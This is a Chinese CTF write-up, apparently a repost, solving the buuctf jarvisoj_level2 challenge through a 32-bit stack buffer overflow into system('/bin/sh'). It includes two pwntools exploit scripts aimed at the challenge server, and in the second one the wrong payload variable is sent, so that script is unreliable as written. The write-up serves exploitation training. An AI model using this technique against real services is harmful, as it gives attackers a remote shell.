buuctf.pwn.jarvisoj_level2

Posted 腹有诗书气自华, 敢拿卧槽走天下

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf.pwn.jarvisoj_level2相关的知识,希望对你有一定的参考价值。

这个题目,是缓冲区溢出

检测一下

No canary found : 可以看出没有栈保护

NO PIE: 没有地址随机化

然后分析题目

这一次我在网上看到了不同的解法,但是基本思路是一致的

主要看一下这个溢出

ssize_t vulnerable_function()

  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 256u);

可溢出的长度是256字节

然后我们能一般构造的长度是0x88+4+...

也就是差不多我们输入的字节数是140,距离256还是差很远的距离

所以我们就快乐的溢出吧

然乎本题目刚好有一些为我们提前准备好的条件

system 的jmp
system 的call
system 在libc的地址指向
/bin/sh 在libc的地址指向

修改rip到call system的时候

于是我们对栈的构造就是

ESP+0: /bin/sh字符串地址

当 call system 后

ESP+0: 返回的RIP
ESP+4: /bin/sh字符串地址
from pwn import*
host=\'node4.buuoj.cn\'
port=29279
p=remote(host,port)
#p=process(\'./level2\')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
call_system=0x0804849E # system的call
p.recvuntil(\'Input:\\n\')
payload_call_system=b\'\\0\'*(0x88+4)+p32(call_system)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()

如果我们去call system的话

直接去往 jmp system

那么我们的堆栈应该保持一致

也就是提前的对返回的rip做一个填充

ESP+0: 一个对RIP的填充为0
ESP+4: /bin/sh字符串地址
from pwn import*
host=\'node4.buuoj.cn\'
port=29279
p=remote(host,port)
#p=process(\'./level2\')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
jmp_system=0x08048320  # system的jmp
ret_padding=0
p.recvuntil(\'Input:\\n\')
payload_jmp_system=b\'\\0\'*(0x88+4)+p32(jmp_system)+p32(ret_padding)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()

以上是关于buuctf.pwn.jarvisoj_level2的主要内容,如果未能解决你的问题,请参考以下文章